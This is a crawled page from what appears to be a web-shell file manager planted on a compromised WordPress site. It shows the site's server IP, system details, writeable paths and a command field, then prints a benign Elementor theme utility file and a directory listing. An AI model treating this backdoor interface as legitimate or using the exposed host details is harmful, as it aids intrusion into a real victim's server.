GRAYBYTE WORDPRESS FILE MANAGER6707

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/universaltoursandtravels.co.in/wp-content/themes/hello-elementor/includes/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/universaltoursandtravels.co.in/wp-content/themes/hello-elementor/includes//utils.php
<?php

namespace HelloTheme\Includes;

use Elementor\App\App;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * class Utils
 **/
class Utils {

	public static function elementor(): \Elementor\Plugin {
		return \Elementor\Plugin::$instance;
	}

	public static function has_pro(): bool {
		return defined( 'ELEMENTOR_PRO_VERSION' );
	}

	public static function is_elementor_active(): bool {
		static $elementor_active = null;
		if ( null === $elementor_active ) {
			$elementor_active = defined( 'ELEMENTOR_VERSION' );
		}

		return $elementor_active;
	}

	public static function is_elementor_installed(): bool {
		static $elementor_installed = null;
		if ( null === $elementor_installed ) {
			$elementor_installed = file_exists( WP_PLUGIN_DIR . '/elementor/elementor.php' );
		}

		return $elementor_installed;
	}

	public static function get_theme_builder_slug(): string {
		if ( ! class_exists( 'Elementor\App\App' ) ) {
			return '';
		}

		if ( self::has_pro() ) {
			return App::PAGE_ID . '&ver=' . ELEMENTOR_VERSION . '#site-editor';
		}

		if ( self::is_elementor_active() ) {
			return App::PAGE_ID . '&ver=' . ELEMENTOR_VERSION . '#site-editor/promotion';
		}

		return '';
	}

	public static function get_theme_builder_url(): string {
		if ( ! class_exists( 'Elementor\App\App' ) ) {
			return 'https://go.elementor.com/hello-theme-builder';
		}

		if ( self::has_pro() ) {
			return admin_url( 'admin.php?page=' . App::PAGE_ID . '&ver=' . ELEMENTOR_VERSION ) . '#site-editor';
		}

		if ( self::is_elementor_active() ) {
			return admin_url( 'admin.php?page=' . App::PAGE_ID . '&ver=' . ELEMENTOR_VERSION ) . '#site-editor/promotion';
		}

		return 'https://go.elementor.com/hello-theme-builder';
	}

	public static function get_elementor_activation_link(): string {
		$plugin = 'elementor/elementor.php';

		$url = 'plugins.php?action=activate&plugin=' . $plugin . '&plugin_status=all';

		return add_query_arg( '_wpnonce', wp_create_nonce( 'activate-plugin_' . $plugin ), $url );
	}

	public static function get_ai_site_planner_url(): string {
		return 'https://go.elementor.com/hello-site-planner';
	}

	public static function get_plugin_install_url( $plugin_slug ): string {
		$action = 'install-plugin';

		$url = add_query_arg(
			[
				'action'   => $action,
				'plugin'   => $plugin_slug,
				'referrer' => 'hello-elementor',
			],
			admin_url( 'update.php' )
		);

		return add_query_arg( '_wpnonce', wp_create_nonce( $action . '_' . $plugin_slug ), $url );
	}

	public static function get_action_link_type() {
		$installed_plugins = get_plugins();

		if ( ! isset( $installed_plugins['elementor/elementor.php'] ) ) {
			$action_link_type = 'install-elementor';
		} elseif ( ! defined( 'ELEMENTOR_VERSION' ) ) {
			$action_link_type = 'activate-elementor';
		} elseif ( ! hello_header_footer_experiment_active() ) {
			$action_link_type = 'activate-header-footer-experiment';
		} else {
			$action_link_type = 'style-header-footer';
		}
		return $action_link_type;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 01 2025 09:32:27
giriqfky / giriqfky
0755
customizer
--
July 01 2025 09:32:27
giriqfky / giriqfky
0755
settings
--
July 01 2025 09:32:27
giriqfky / giriqfky
0755
customizer-functions.php
2.165 KB
June 08 2025 14:51:36
giriqfky / giriqfky
0644
elementor-functions.php
7.014 KB
June 08 2025 14:51:36
giriqfky / giriqfky
0644
module-base.php
5.957 KB
May 26 2025 16:02:10
giriqfky / giriqfky
0644
script.php
0.984 KB
June 08 2025 14:51:36
giriqfky / giriqfky
0644
settings-functions.php
1.66 KB
May 06 2025 23:54:40
giriqfky / giriqfky
0644
utils.php
2.951 KB
May 19 2025 18:19:44
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF